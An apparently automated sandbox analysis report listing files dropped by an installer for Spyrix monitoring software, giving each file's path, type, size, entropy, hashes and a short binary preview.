C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-M51F4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-N0C51.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-QU5RS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-T980U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spyrix.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-1NSV6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-BMRGT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-Q435M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90699
Entropy (8bit):	7.976611505014986
Encrypted:	false
SSDEEP:	1536:TO6fc7nz/3pXEtubO/n9l7STXTQXsxalgH8UsX4UzAY3p18N14e86zebLqDf:BEzzRXEtubO/yTXTlxbrUDcu/8v4e8AH
MD5:	EF79CF8AABBC41E42025D3ACF51B36C9
SHA1:	71940D0E9D230D295D8A89397DF4ED0BA5BD72DA
SHA-256:	24D4AC7D4101A76F35F636660A92AD95E1C068065D17BB4F8CC27CD3C91402F8
SHA-512:	E579BEED091D3A4068AE664640BA0EDCFB309F0C7142CD452B45F79A69B6423A8237D9256C9A0E3FFE4F22EBC1C01D26B2BE79FD7B3E3E9643A1142A997E5902
Malicious:	false
Reputation:	unknown
Preview:	GIF89at.......s...............f[.......u..mQ...ONH.L1..C;................C+.qX....X.dH......W>...........M..........'&#.z....[&..x7".......................Y........+#{}}.......^...a.......hih...X..............zL....n..v..........e(........`.za..........j.7 .......m..........y.......u,......q....we.........T.............dd[.......WCi......e..Y*.R...4...!.....\BEC?..........n...............a>..b.Cy.............=CH.}.....M0....%+nst]dc......mpl.O...N..x....E?.....).....[..;.......sxq[^X......}.........c...fmr..~M..................L.k_...._..j.{.................D....f....a.....?(..{.\|{974..5...../..;.....&....L%.r+...........).......................................................................W....v...............R...YYW.......?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\ru\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7829
Entropy (8bit):	7.826687568770807
Encrypted:	false
SSDEEP:	192:ZwZ+70N539DtmJu0clifT2eTb6uRM3Q6q:Z0+QNftOcloTBTtRMHq
MD5:	241545A94AF6185978CFD96B32101E95
SHA1:	75FC98239798D933FD87978D7545964CE0E611D8
SHA-256:	01FD9E13EEF1D14C6C2B4E5EA16E40789FE5423715500C29A7DC58FDF2C1364F
SHA-512:	1A127A5EB9573418B3301A0E498B5335AEE0E99F87C8B4C12B6907476D49D1781264700A692FBE24971D405695AAE9BD5C4F40E95D10A1F26CBB0818A32899E1
Malicious:	false
Reputation:	unknown
